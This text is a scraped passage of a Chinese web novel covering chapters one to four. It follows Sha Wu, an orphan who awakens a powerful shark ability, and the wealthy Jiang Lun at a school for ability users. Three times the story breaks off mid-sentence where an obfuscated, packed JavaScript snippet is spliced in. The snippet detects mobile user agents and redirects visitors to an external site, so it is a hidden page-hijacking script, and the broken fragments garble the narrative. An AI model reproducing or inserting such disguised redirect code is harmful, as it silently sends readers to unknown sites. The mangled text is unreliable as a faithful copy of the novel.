《小鲨鱼不想被钓了》 1. 第一章 很难拔智齿 少年躺在牙科诊所的诊疗床上，听着仪器在自己的口腔里，或者周围几个诊室其他人的口腔里，“日”一阵，又“日”一阵，额头后背都在冒汗。 空调像是假的，额前的碎发被汗水浸湿，黏在额头上，恍惚看到自己的半个灵魂都已经飘在了空中。 娃娃脸的女医生动作利落，柔软如面条一样的手指轻松弯曲到足够的角度，灵活处理位置刁钻的智齿位置，还不断安慰：“没事的。你都拔了三次智齿了，又不是没有经验，很快就好了。” 一旁的护士对着少年露出姨母笑，时不时看一眼变异值：“只是多长几次智齿，变异值只有5点，很轻微的变异了。” 个人资料上的少年，证件照上表情严肃眼神凶悍，但显然影像录入时间要早两年，一张娃娃脸让他的凶悍像是毛绒绒的动物幼崽，搭配他精致的五官，只会让人觉得可爱。 现在的少年比起证件照上的轮廓更加清晰了一点，让他原本就精致的五官显露出更加清晰的轮廓，尤其是这会儿躺在诊疗床上的脆弱模样，完全看不出一丁点凶悍。 嗨呀~像只亚成年的大猫，真想抱着好好哄哄。 沙伍张大嘴，眼神涣散，四大皆空，完全不知道护士心里面在想什么。 “好了。”医生递给他一个漱口杯。 整个拔牙过程实际不到十五分钟，却感觉像是过了好几个小时，甚至是一个生死轮回。 伴随着医生简单的两个字，沙伍感觉自己飘在半空的灵魂被重新摁回到身体，漱完口从诊疗床上下来。 眼角的余光瞟到托盘上被拔下来的智齿，连脑仁都疼得抽抽。 娃娃脸医生夹着一团纱布塞进他的伤口上，“咬住，过半个小时再取出。”叮嘱他，“下周三再过来一趟，看看你是不是还长智齿。” “唔。”沙伍咬着止血的纱布，说话的声音有些含糊，“可以帮我把复诊的地点换到青龙城吗？” “你要去青龙城？”护士一边修改复诊地点，一边问沙伍，“考了青龙城的大学？” “唔。共工大学。”沙伍报出自己的学校名字。 护士眼前一亮：“可以啊。小哥哥长得帅，读书还好。” “没有。超常发挥，勉勉强强考上的。”沙伍是个老实孩子，承认自己的学习能力，并没有否认自己长得帅。 护士更改了他的复诊医院，语气都轻松欢快起来：“直接给你约了共工大学的校医院。” 沙伍看到自己的手环亮起，确认收到了复诊信息。 他没有马上离开医院，找了个空位等了半小时，把口腔内止血的纱布取下，大概是麻醉效果还在，这会儿倒是不疼。 要是下周再长牙的话……下周再长的话，他下周在青龙城。那边的医疗条件应该更好，这种区区5点变异值造成的小变异，应该很容易解决吧？ 他慢吞吞走出医院，在门口刷了一辆共享小飞车。 “您好，请设置目的地。” “东湖孤儿院宿舍区11栋。” “好的，路线已规划完毕，请系好安全带，预计十五分钟后到达。” 沙伍系好安全带，戴上耳机，打开手环，随便点了个音频节目听了起来。 “6月12日深夜0:15，距离南方朱雀城外30公里处，爆发变异虫潮，大量变异蟑螂、蚂蚁等昆虫对朱雀城发动袭击，一度突破第一道防线，截止上午9点，已经造成数十人伤亡。目前虫潮已经被基本控制，但仍有零星变异虫散落。朱雀城对外陆地交通暂时中断，预计三天后恢复。对于因交通滞留旅客，朱雀城会安排食宿……” “南方湿婆城和娜迦城对抗持续激化……” “后土四少之首的姜纶少爷确定进入青龙学院就读。众所周知，共工大学青龙学院是专门培养异能者的学院，而姜纶少爷并没有异能，现在外界对此有诸多揣测。另外，后土城的姜纶少爷为什么要去青龙城就读？本台联系了几位专家对此进行分析和点评……” 沙伍听着耳机中传来的一堆专家评论，不明白一个没有异能的小少爷读书的问题，怎么就比朱雀城的虫潮和国外的内战还长篇大论。 “您的目的地已经到达。” 小飞车的声音唤回他的神智。 他恍惚回神，扫手环结清了费用。 小飞车从离地十厘米的高度降落：“祝您生活愉快，再见。” “再见。” 周围高楼林立，几乎高耸入云，其下的街道显得格外狭窄压抑。 这一片都是东湖孤儿院的宿舍区，居住着数十万孤儿。 沙伍只是其中普普通通的一员。 根据规定，他已经年满18周岁，必须离开这里。 如果不是拔不完的智齿，早几个礼拜，他就已经搬走。 他仰头看了看周围，快步走进大楼，刷手环在一楼前台拿上寄存的行李，注销了自己的房卡，跟宿管老师道别：“沙妈妈，那我走了。” 沙妈妈是个胖胖的和蔼中年妇女，用右手机械臂帮沙伍把一袋行李提出门：“牙齿还疼吗？” “不……”沙伍下意识否认，迟疑了一下还是低头小声道，“疼。” “大概是麻醉退了，正常的。要是实在疼得厉害，打工那边可以晚几天再去。学生宿舍楼这边不能住，教职工那边应该有空床位，我去给你打招呼。” “不用了。”沙伍拒绝了沙妈妈的好意，“医生已经帮我预约了共工大学的校医院复诊。” 沙妈妈一听，就放心地笑了：“那行。不管有没有再长智齿，一定要去复诊，不要取消。检查尽量做详细一些。” “好……” 沙伍还想说什么，就见沙妈妈拍了拍他的肩膀：“好了，飞车到了，快去车站，小心赶不上列车。” “嗯。”沙伍坐上飞车，偏头看着宿管老师，“沙妈妈再见。” 这次的飞车有一个行李架，可以放置一些行李。 沙伍在孤儿院住了18年，所有需要带走的行李只有一个不大的行李箱。 他叫沙伍，很简单，就是沙妈妈领养的第五个孩子。 虽然这种领养并没有正规的领养手续，沙妈妈只是孤儿院给年幼的孤儿安排一个“家长”，沙妈妈除了领养的孩子之外，还需要照顾很多很多别的孩子，但是…… 机械手一巴掌拍到他后背上，沙妈妈凶巴巴地撵人：“快走！” 沙伍顿时感觉头疼牙疼都不及后背的这一下疼，瞬间把小飞车开到最高限速：“走了！” 作为青龙城的卫星城之一，东湖城前往青龙城的交通很便利，城际列车一个小时就能到达。 出火车站后，飞车倒是用了两个小时，才把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177654|180796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沙伍送到了共工大学。 学校还没正式开学，不过沙伍可以提前报到。 他在路上就通过手环办理完了手续，拿到了宿舍编号。 宿舍楼和孤儿院的格局没多大差别，顶多就是稍微新一点，以及尽管狭小，但好歹是个单间。 沙伍刷手环进入，申请了宿舍公共的家务机器人过来打扫，完了之后拍了一张照片发给沙妈妈：“到了。” 尽管这个宿舍只是个临时宿舍，正式宿舍要等开学后再安排，但已经比孤儿院的四人间好多了。 顾不上别的，沙伍坐到单人床上，倒头就躺了上去。 麻药已经彻底退了，疼痛从若有似无，渐渐变得明显。 牙床一突一突地疼，像是新的牙齿在往上顶。 脑仁一抽一抽地疼，像是脑袋瓜子里真长了颗瓜子，正在破壳而出，要把他脑袋涨破。 他整个人昏昏沉沉的，都不知道自己有没有睡着。 沿海的夏季空气炙热中带着湿度过高的黏腻，像要把他整个人包裹其中，有一种窒息感，又有一种奇怪的让他感到舒适的气息。 再清醒的时候，他全身几乎都被汗水浸透。 宿舍没有单独的浴室，楼内的浴室没有开放，沙伍拿好换洗衣物，还是决定先去公共澡堂。 假期的学校没什么人，开放的区域七零八落地散布在学校各处。 外面已经是深夜，整个校园内似乎只有风声和昆虫的声音。 沙伍扫了一辆小飞车，设定了目的地，脑袋昏昏沉沉的，所有的声音都像是隔了一层再传进耳朵，嗅觉却变得格外灵敏，一股很诱人的香气，若隐若现地萦绕鼻尖。 从上午看牙以来到现在都快半夜了，他都没吃过东西，确实是饿得有点久。 他几乎下意识就对小飞车下达指令：“切换手动操作。” 先去吃个饭吧？可能是地图上没标注的小店。 闻着很近。 他没注意到周围的建筑愈发稀少，周围暗了下来，路灯没了。 小飞车停在一片开阔的水面上。 沙伍茫然四顾，鼻尖的香味更加浓郁，刚刚清醒了一点点的脑子像是塞入了一块大石头，沉得根本没有办法思考。 他根本没有办法思考，眼前一片黑暗，全身像是没有骨头一样软倒下来，沁凉的湖水瞬间缓解了身上的高热和窒息感，随之而来的是愈发强烈的饥饿感，对食物的渴求像是一双双骨瘦嶙峋的手从肠胃里钻出来，想把这股异常诱人的香气扯进肚子里。 ……饿…… ……好饿…… ……好香…… 四散攫取食物的“手”终于抓到了散发诱人香气的食物。 他张大嘴巴，一口咬上去。 食物有一层坚硬的脆壳。 牙床又开始隐隐作痛，却在饥饿下根本顾不上别的，用力一口咬下去。 一丝甜甜的味道进入口腔…… 平静开阔的潮汐湖水位骤然上涨，淹没两米之上的河堤。 一道宛如船帆的三角背鳍从湖中缓缓升起，像是把整片湖面切割成两片。 被拍上岸的水花打湿的人脸色惨白，浑身麻木地看着巨大的三角背鳍直入大海，消失在夜色中，嘴唇颤抖：“……艹……”随即又神经质地笑了一声，连滚带爬地离开岸边。 2. 第二章 兄弟，你好香 好吃！ 从来没吃过这么好吃的东西！ 啊，吃得好饱啊~ 沙伍慢慢醒过来，意识却还沉浸在美梦中，对于梦中的吃到绝世美味，以及身体前所未有的轻松依依不舍。 他下意识舔了舔，又咬了咬。 这么好吃的东西，醒过来大概再也吃不到了。 “醒了就松口，嘴巴不酸吗？” 嗯？ 谁在说话？ 沙伍猛地睁开眼睛，发现自己竟然咬着一条胳膊：“唔。” 他他他，吃人了！ 沙伍赶紧松开自己的嘴巴，一脸心虚地看着眼前胳膊上的一排……好几排牙印，有一圈牙印甚至已经破皮结痂：“对不起！我不是故意的！” 被咬了一个晚上胳膊的人，用另外一条胳膊撑着从床上坐起来，看着坐在身边低头不敢看他的少年，抬手摸摸他的脑袋，感受触感极佳的柔软发丝穿过指间，心情很好：“我知道。异能值天赋怪刚觉醒的时候是这样的。” 沙伍被他话中的惊到：“天赋怪？觉醒？可是我的异能值才5点……” 咦？他这是在哪儿？ 这个大到有点夸张的房间到底是怎么回事？ 他迅速打量了一下周围环境，视线重新落回到旁边的人身上，瞬间倒抽一口气。 怎么有这么帅的人？ 竟然有人比他这个东湖孤儿院院草还帅……不是，他当然知道有人比他帅，但眼前这个人怎么能够帅到从头发丝到脚趾尖都闪闪发光的？ 他下意识动了动鼻子，闻着好香。 闪闪发光的大帅哥好脾气地解释：“你说的异能值是医院的那种通用机器检测出来的吧？那种只能检测一般情况，对于一些特殊情况没用。自然界中的很多强大的生物，在成年前几乎没有任何战斗力，必须很好的隐藏自己。天生异能强大的天赋怪也是差不多的机制，另外就是有些异能本身就有隐匿天赋。” 他对上少年专注看着自己的目光，没忍住伸手掐了一下他有点小肉肉的脸，“小鲨鱼，你是两者兼具。” 沙伍下意识别开脸，抬手挥开掐自己脸的手指，整个人继续处于震惊中：“小鲨鱼？我？” “对。”大帅哥指了指自己满是牙印的胳膊，“你昨天晚上觉醒了，咬了我亿口。好了，起床吃饭，一会儿还有的忙。” 说着，他下床对沙伍微笑：“差点忘了自我介绍。我叫姜纶，你叫什么？” “沙伍。”沙伍跟着他下床，觉得姜纶这个名字很耳熟，一肚子问题想问，却被指了个方向去洗漱。 一直到把自己收拾干净，坐到餐厅里，他才慢慢反应过来，瞪着洗漱过后更加闪闪发光的大帅哥：“你是那个后土四少的姜纶……少爷？” 同坐在餐桌上的姜纶明显愣了一下：“我家是后土城的。后土四少是什么？” 在一旁服侍的中年管家笑道：“小少爷不用管，不过是一些无聊人士的哗众取宠罢了。” “啊，这样啊。”姜纶冲着沙伍微微一笑，“不用管。快吃早餐，完了我们得先去做个体检，再给你转个学院。” 沙伍在闪闪发光的大别墅中，对着闪闪发光的大帅哥，吃了一顿味道并不怎么样的早餐。 嗯，应该说他压根没觉得丰盛的早餐有多美味，坐在他对面的大帅哥闻着比早餐美味多了。 不不不，他不能这么想。 不能因为他觉醒了异能就想吃人。 脑子里这么想着，他的视线又下意识落在姜纶的胳膊上。 夏天的短袖衬衫让手腕处的一圈结痂的牙印完□□露在外，在小少爷白皙的皮肤上格外显眼。 其它牙印倒是都已经看不见了。 姜纶完全不介意他时不时的走神，把他拉进飞车坐在自己身边：“所有觉醒了异能的异能者都需要进行专门的训练，不一定成为异能战士，主要是学会控制自己的异能，防止异能伤害别人和自己。” 听到姜纶的声音，沙伍回神，认真听讲：“嗯。” 姜纶继续说道：“青龙学院是专门针对水系异能者的，你的觉醒体是鲨鱼，刚好转进青龙学院就行，不用换大学。对了，你是共工大学的新生？” “嗯。护理专业的。”沙伍有些为难，“那我进了青龙学院之后，原来的专业怎么办？” 共工大学是整个青龙城范围内最好的大学，也是世界最顶尖的大学之一。 其中的青龙学院更是共工大学最厉害的学院。 但青龙学院是专门培养异能者的学院，在沙伍过去十八年对于未来的所有想象中，从来没想过自己这种异能值从来没突破过两位数的普通人，将来会有一天成为异能战士。 可是既然已经觉醒了异能，战士不战士的两说，确实如同姜纶说的，必须学习掌控异能，以防伤人伤己。 以他的学习能力，能够兼顾吗？ 姜纶语气轻松：“照常学就行了。我也选修了园艺课程。” 不，你一个没有异能的人，本来就应该去读普通专业吧？为什么要进青龙学院？ 沙伍在内心默默吐槽，对这么一个大帅哥……不是，对这么一位友善的同学，实在难以生出任何不好的饿感……恶感。 两人并排坐在飞车的后排座上，距离比用早餐时候更近，姜纶身上的香气愈发明显，尤其是他手腕上的那圈结痂的牙印。 姜纶注意到他的视线，抬起手在他眼前晃了晃：“不愧是小鲨鱼，牙口真好。” 沙伍被说得尴尬脸红：“对不起。”眼睛下意识直勾勾盯着他的手腕，咽了咽口水。 好悬飞车的速度足够快，几句话的时间就已经到达目的地。 两人从飞车上下来，迎面的海风吹散了姜纶身上过分美味的香气。 沙伍总算清醒了一点，但清醒得不多，视线还是不受控制地往姜纶那边瞟。 姜纶拉过他的手，带着他往前走：“喏，手给你。不用介意这种小伤，一会儿就好了。” 进入建筑物前，沙伍抬头看了一眼，确认是青龙学院附属专科医院，又看向姜纶的手腕：“我觉醒的小鲨鱼，这么小？” 好歹是鲨鱼，一口下去不说一刀两断，应该也不至于只是一点皮外伤吧？伤口还这么小。 难道他的鲨鱼是猫鲨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177655|180796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？ 哦，也可能他的变异只是变异一部分身体部位，总不能真的整个人变成一条鲨鱼。 他的脑中胡思乱想，没注意到姜纶的脚步停了下来，差点一头撞到他肩膀上，赶紧往后仰了一下头。 唔，小少爷好高！ 小少爷的肩膀竟然跟他的鼻尖齐平。 姜纶的视线下移，对上少年清澈懵懂的眼睛，脸上的笑容真诚了一些：“嗯，对我来说，是挺小的。没关系，小小的也很可爱~” “想打架啊你！”生气！ “这就是刚觉醒的沙同学了吧？”一道温和的声音打断了沙伍的情绪，“快进来，做个检测。” 沙伍顺着声音看去，没见到人，而是见到一只伸出诊室门的手，对他招了招。 他听话地走过去，看到坐在诊室内的中年男医生，慢慢收回起码三米长的胳膊。 喔，这可比手指能拐S弯的牙科医生厉害多了。 也不知道自己的变异能力能干嘛？毕竟咬人也只是咬破点皮。 哦，鱼的话，能游泳？ 总觉得距离异能战士差了十万八千里。 “来，手环扫一下这里，登记一下个人信息。” 沙伍照做。 章医生扫过他的个人资料，着重看了一下他最近的就医记录。 不见外的姜纶跟着扫了一眼，诧异地看向沙伍：“拔了三次……智齿？没想过那不是智齿？” 沙伍不觉得姜纶跟着一起看他的就医记录有什么问题：“我就5点变异值，不是智齿，还能是什么？” “那你就没觉得自己别的方面有什么特别的？”能够检测出来的异能值可以通过本能或者各种手段进行伪装，但身体素质这一块很难改变。 沙伍认真想了想，视线又扫过姜纶的手腕：“嗅觉特别灵敏算不算？” 咦？他抬手在牙印上轻轻摸了一下，血痂像灰尘一样掉落下来，白皙的皮肤上没有留下丝毫痕迹。 姜纶转了转手腕，对他眨了眨眼。 章医生传了一张体检单给沙伍：“给你安排好了，照着顺序去做体检，看看你真正的变异值是多少。” 沙伍在手环上查看体检单，确认做体检的流程，往诊室门口走了两步，才发现姜纶没跟上来，疑惑回头：“姜纶？” 姜纶还坐在诊室内没有动，对他挥挥手：“来都来了，我也做个体检。一会儿我们再一起回去。” “哦。”沙伍跟着指示往前走，心想没必要一起回去。 毕竟他住的是没有独立卫浴的单人间，小少爷住的是独栋别墅。 体检也是能凑热闹做的事情吗？ 话说回来…… 沙伍转了转自己的手腕，想到刚才姜纶消失的血痂。 正常人的血痂不可能这么快就好的吧？ 可姜纶小少爷不是出了名的没有异能的普通人吗？ 可他读的是青龙学院，真要是没有异能，为什么非得要读青龙学院？人家一个小少爷又不像他这样的普通人，得靠学历。 伤口假的？ 人家一个小少爷，特意弄个假伤口骗他？ 3. 第三章 体检 青龙学院附属专科医院里的人很少，也不知道是因为异能者的人数少，还是因为这会儿暑假没什么人在学校。 沙伍跟着体检单上的指示，进入一个又一个房间，进行了一项又一项检测，期间别说是排队检测的人了，连个医护人员都没看到，都是全自动机械化操作。 “做完检测了？来我这儿坐坐。” 沙伍看着探出诊室的手，应了一声跟着进去：“章医生。姜纶还没做完体检？” “嗯，还得再等一会儿。”章医生收回手，一双手在键盘上打字，突然又多出一双长长的手，灵活地泡了一杯茶，递到沙伍面前，“完全的体检报告得等两天，主要是你的异能自带隐匿，想要得到精确数值比较麻烦。嗯，你现在这个状态，测出来的数值本来就不会很精确。” 沙伍低头喝了一口带着一丝甜味的茶：“我现在这个状态，是指刚觉醒？” “嗯……有一部分这方面的原因。你的异能应该很强，刚觉醒的时候异能波动剧烈。”章医生也喝了一口茶，才继续道，“影响异能值的因素有很多。一般想要得到一个精确的数值，得在异能觉醒稳定后一段时间测。我这边先给你一份异能相关的书籍清单，你跟着了解一下异能方面的基本知识。有经验丰富的老师陪同的话，可以在指导下进行基础的异能练习。” “好的。”沙伍一直是个好学生，看了一下一长串的书籍清单，觉得自己应该是没有时间进行异能练习的，他也没有可靠的老师陪同。 章医生对这种看着一脸乖巧的学生充满不信任，再次强调：“千万不能自己进行异能练习。你这种刚开始觉醒的异能者一旦失控，会非常非常非常危险。” 三个非常，那确实很危险了。 沙伍乖巧：“一定遵医嘱。”老师的话可以不听，医生的话一定要听。 章医生见他不像是忽悠自己，跟他说起转专业的事情：“本来你转专业的事情应该等初步的变异值测出来之后，不过你有姜小少爷担保，我这边直接给你提交了申请。最近暑假，学校工作人员不多，不一定什么时候通过，你自己注意一下通知信息。” “好的，谢谢您。”原来学校的专科医院还管学生专业？ 也对，毕竟是针对异能者的学校专科医院。 章医生笑道：“你之前的护理学专业，现在觉醒了，是不是辅修针对异能者的医学专业？” “啊？我是分数不够，被调剂进护理学专业的。”他过去也只是一心一意读书，尽量考个高分，进个好一点的大学。 至于将来从事什么职业，只要能够养活自己就行，他不挑。 之前调剂进共工大学的护理学专业，他觉得还挺好的。毕竟医院缺男护士，他将来毕业了不愁找不到工作。 东湖是个安逸的小城，生活成本不高。 章医生倒是不介意沙伍这么说：“也对。你现在要做的是尽快熟悉异能，至于专业，可以慢慢考虑。”他刚才重新看了一遍沙伍的资料，看到他的紧急联系人地址在东湖孤儿院就明白了。 世界大灾变发生距今已有两百多年，人类总算是逐渐建立起了相对稳定的社会秩序，但大量的变异动植物和受到污染的环境，甚至是变异失控的人类本身，依旧时不时造成大量的人员伤亡。 大量的儿童成为孤儿。 沙伍显然就是其中之一。 “我好了。”姜纶象征性敲了一下门进来，“小鲨鱼的报告出了吗？” 章医生笑道：“哪有这么快。沙伍同学是第一次检测，速度肯定会更慢一点。” 姜纶皱了皱眉头，显然不满意这样的速度：“啧。你们就是乱七八糟的项目测太多。”他伸手拉起沙伍，“那我们先去吃饭吧。早上要体检，都没怎么吃，好饿。医院也不提供早餐……” 沙伍后知后觉：“咦？我们是吃过早餐再来体检的，会不会影响检测结果？” “不会。再说早餐那点东西，一个小时就能消化完。”姜纶走路不算快，但他身高腿长，正常走路就比沙伍快。 沙伍得加快一点速度，才能跟上他：“你的胃口真好。我是一点都不饿。” 昨天晚上的时候，他饿得都快失去意识。 今天早上醒过来到现在，他都觉得很饱。 不仅仅是肚子很饱，而是一种整个身心都填满的饱足。 咦？ 他不会真吃人了吧？ 他没注意到，姜纶看了他一眼，随即放慢了一点脚步。 姜纶的豪华飞车已经等在了大门口，甚至车内摆放好了精致丰盛的餐食。 姜纶设定好地点，问沙伍：“来点？” 沙伍实在吃不下：“不了。” 姜纶就递给他一杯茶：“我看你挺喜欢喝茶的。” “这都能看出来？”沙伍以前完全没喝过正经茶叶泡的茶水。 嗯，这杯茶的味道和章医生泡的不一样，不过也很好喝。 姜纶笑笑：“章医生的茶壶快空了。今天事情多，明天带你去我的种植园看看。” 从小到大连一个小花盆的植物都没养过的沙伍顿时来了兴趣：“种植园？” “对啊。我种了很多东西哦。不过基本都在后土城，这边刚过来，还没多少植物……” 沙伍听着姜纶讲各种植物，听着那么多植物的名字就觉得其中的学问很深，不知不觉就被带着先去办个简单手续，拿到了青龙学院的临时学生证，然后去临时宿舍把东西搬到了姜纶的大别墅。 管家已经等候在门口：“小少爷、沙少爷回来了。沙少爷的房间已经安排好了，时间匆促，您看看缺什么东西，我再去添置。” “啊？我……宿舍？”沙伍突然意识到自己要搬过来住，说话都不利索了。 他不是应该搬去学生宿舍吗？ 管家解释：“这就是青龙学院的学生宿舍。地方有点小，委屈两位少爷挤一挤。” 沙伍昨天晚上是怎么被带过来的，完全没有记忆。 今天早上，他也稀里糊涂的，一直到现在才有空打量眼前的巨大别墅。 这种铁门都有好几米高，里面的道路比马路还宽，有着喷泉、草坪、无数鲜花的庭院，长长的月牙形的主体建筑……地方小？挤一挤？ 什么学生宿舍会长这个样子？ 哪怕他再怎么没常识，再怎么夸大想象青龙学院学生待遇，他也明白这种学生宿舍肯定不可能是普遍的。 后土城钻石小少爷的特殊待遇。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177656|180796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不管他有多震惊，还是被管家带着，姜纶拉着去了自己的房间。 简单用过午餐后，他就被管家亲自带着在宿（cheng）舍（bao）里认路。 “梁伯伯，您直接叫我名字就好，不用叫我少爷。”沙伍被管家和一众佣人左一句少爷右一句少爷，叫得浑身不自在。 梁管家微笑：“既然您觉得不合适，那我该怎么称呼您比较好？” “您直接叫我名字吧。”看向梁管家不太赞同的神色，沙伍改口，“或者直接叫我小伍？” “小伍？” “对。以前哥哥姐姐就是这么叫我的。”他和沙妈妈领养的哥哥姐姐们其实并不熟悉，孤儿院里的其他人叫他伍哥。 嗯，这不重要。 “好的，小伍。”梁管家觉得这个名字可以接受，带着他往教室走，“趁着还有点空闲时间，给您安排了一堂课。” 沙伍第一次接触到了家庭教师，好几个。 不得不说，有专门的老师讲解，比起自己看书学习的效率要高得多，尤其是异能这个他从来没接触过的领域。 沙伍专心致志学习了三天，期间还跟着姜纶下地播种，上山采茶。 晚上，喝着自己亲手采摘的茶叶泡的茶，他坐在姜纶身边，看着姜纶坐在小河边钓鱼，一竿子直接把鱼钩甩到了河对岸：“噗。河太小了。” 姜纶悻悻然放下鱼竿，嫌弃地看着面前连小河沟都算不上的溪流：“都怪梁伯伯不让我去海钓。” “海钓？大海？！”沙伍听得一瞬间就激动了，“你能去大海上钓鱼？” “能……梁伯伯同意就能去。”短时间内，应该不行了吧。 前几天的意外，差点把梁伯伯吓得当场去世。 造成意外的原因还没查出来，不过体检报告出来了。 想到体检报告，姜纶下意识看了一眼沙伍，抬起胳膊往他嘴边送了送。 沙伍被他的动作惊了一下：“干嘛？” “你再咬我一口，用力一点。” “从来没听到过这样的要求。”沙伍嘀嘀咕咕，看着已经递到嘴边的胳膊，一股若有似无的香气变得明显，在自己反应过来之前，突然就张口咬了上去，“喀……唔！” 他迅速松开嘴，捂住自己的腮帮子，愤怒，“你这什么胳膊？铁做的吗？” 他脆弱的牙床差点给崩断。 一定是“智齿”拔多了。 姜纶把似乎比月光还皎白的胳膊扬了扬：“就是普通的胳膊。” “不，正常人的胳膊绝对不是这个硬度。”沙伍好奇心起来，拉过姜纶的胳膊捏了捏。 皮肤有弹性，能够摸到皮肤下的肌肉。 他又捏了捏自己的胳膊，感觉手感差不多。 奇了怪了。 “喂！你们两个小子是怎么回事？两个人半天都没钓起来一条鱼！” 陌生的声音响起，把沙伍吓了一跳：“谁？” 这边除了他和姜纶，还有谁在？ 隐身异能吗？ 姜纶轻轻拉了他一下，示意他看向站在溪流中的黑背白肚皮，长得像长腿企鹅的大鸟：“夜老师。” 沙伍看着透着一股莫名猥琐气息的鸟：“夜老师？” 4. 第四章 水产养殖学院 夜鹭脑后白色长羽迎风飘扬，一嘴下去就是一条鱼。 怎么看都是一只普通的钓鱼技术高超的夜师傅。 沙伍看着夜师傅调整了一下鱼的角度，把鱼放在水里面洗了好几遍，再一仰头把鱼吞了下去。 鲜活的小鱼在夜师傅的脖子里垂死挣扎，把夜师傅的脖子拱出奇怪的凹凸造型。 刚才是这只夜师傅在说话？ 夜鹭歪着脑袋看了看沙伍，低头重新对准溪流，一口叼起两条小鱼。 “喔！”沙伍小声赞叹，果然夜师傅是钓鱼高手，跟身边这个只会拿高级装备摆造型的空军不一样。 “你什么眼神？”姜纶抬手就要去掐沙伍的脸，“我是钓大货的人！” “不要老是掐我的脸。”沙伍抓住他的胳膊，下意识一口咬上去。 牙齿和皮肤碰撞，发出轻微的断裂声。 沙伍缓缓松开嘴，抬手捂住自己的嘴巴，感觉有什么东西从嘴里掉了出来。 皎白的月光下，手掌上，一颗牙。 轻微的扑扇声响起。 夜师傅落在沙伍的手腕上：“鲨鱼就是这样，经常把自己的牙齿撞掉。没关系，过几天长出来就好了。” 哎？真的是夜师傅在说话！ 沙伍看着近在眼前的夜鹭，忍不住戳住它的白色饰羽左右一拨：“双马尾！” 夜鹭扭头看向沙伍，红色的眼睛里充满祥和，甩了甩脑袋，张开一边翅膀轻声叱责：“调皮。” 夜鹭的翅膀看上去软乎乎的，也不是很大的样子，却一下就把沙伍和旁边的姜纶一起扇倒在地。 折叠凳、折叠桌和一堆渔具洒落一地。 姜纶捂着脸抗议：“夜老师，为什么连我一起打？” 夜鹭跳到他的脑门上，低头小啄两口：“考了两年才考上的笨蛋没资格质疑本院长。”又对沙伍宣誓主权，“这是我们青龙学院的学生，轮得到你操心？” 姜纶不服：“小鲨鱼是我……” 夜鹭一爪子踩断姜纶的抗议，用一种偷感很重的步伐走到沙伍面前，伸长脖子：“欢迎我们的新生沙伍同学，进入我们青龙学院水产……完全转化专业。你好，沙同学，我是青龙学院的院长夜珹。” 沙伍不太确定夜师傅的意思是握嘴巴尖……用两根手指捏了捏夜鹭递过来的翅尖：“院长好。” 不是，刚才夜师傅说水产两个字了吧？ 让一只吃鱼的鸟当水系异能者的院长，真的没问题吗？ 夜鹭收回翅尖，重新把翅膀背回去，变成一只黑白枣核，踢了两下正步，摆出一个稍息的姿势：“你们这两个小笨蛋，正好趁着暑假有时间，我先给你们补补课。发了课表给你们，自己看。” 沙伍看着飞走的夜师傅，扭头看姜纶：“你也是完全转化专业？你是什么鱼？” 所谓的完全转化，指的是变异后能够将身体完全转化为动物或者植物的异能。 水产……不是，青龙学院的异能者基本都是水系，完全转化专业的学生基本就是各种鱼。 姜纶否认：“我不是鱼。” 沙伍很想问他究竟是什么？见他没有想告诉自己意思，也不好再追问下去，看到自己的手环亮了一下，打开查看：“院长说的课表到了。我的体检报告和转专业申请都来了。咦？怎么学校还给我打钱了？” 这个姜纶知道：“异能者的学习和将来的工作都非常危险，学校会给一点生活补贴，从录取开始就会发放。读书期间要是做一些具体的工作，还会有另外的津贴。” 哦，沙伍理解了。 他们孤儿院也会每个月发补贴，只不过金额非常小，就是点零花钱。 他的视线落在青龙学院转过来的金额上，舔了舔刚掉了一颗牙齿的牙床。 真不愧是青龙学院，有钱。 这样他就可以不用去打工了。 姜纶凑过来，划掉转账通知，去看他的体检报告：“瞧瞧你的变异值……”体检报告很长，他几乎划到底才看到，“哦。” 沙伍看着变异值一栏内的问号：“测不出来？”他之前还有5点变异值，用了精密仪器之后反倒测不出来了？ 姜纶解释：“可以说测不出来。数值超过仪器的检测上限就是问号，也就是一般人所说的S级。” 沙伍的眼睛一下就亮了起来，他果然帅得爆表！ 姜纶泼冷水：“变异值S级，不是战士等级S级。你还有的学呢。” “嗯。” “你现在太弱了，连我的皮都咬不破。” 沙伍低头看向自己掌心里的牙齿，忍了又忍，没忍住把姜纶摁住了开打：“你赔我的牙！” 伍哥活了十八年，还没受过这种气！ 反正小少爷皮厚，打了也是白打。 姜纶被沙伍单方面打坏了一身衣服，觉得暴跳如雷的小鲨鱼怎么看怎么可爱。 可爱的小鲨鱼隔天就自己骑小飞车到潮汐湖，在湖面转了一圈都没发现夜师傅的踪影。 眼看着时间快到了，他小心靠近一只见了他不躲的苍鹭面前询问：“老师，您好。请问您见到夜院长了吗？” 